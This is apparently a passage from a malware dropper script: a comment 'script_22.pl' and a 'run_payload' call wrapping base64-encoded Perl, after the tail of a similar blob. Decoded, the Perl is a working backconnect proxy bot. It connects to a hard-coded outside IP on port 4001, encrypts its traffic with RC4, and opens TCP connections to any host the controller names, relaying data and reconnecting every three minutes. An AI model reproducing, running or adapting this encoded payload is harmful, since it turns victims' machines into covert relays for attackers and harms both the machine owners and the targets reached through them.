1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_22.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICczNi4yNTUuOTguMTcxJzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxz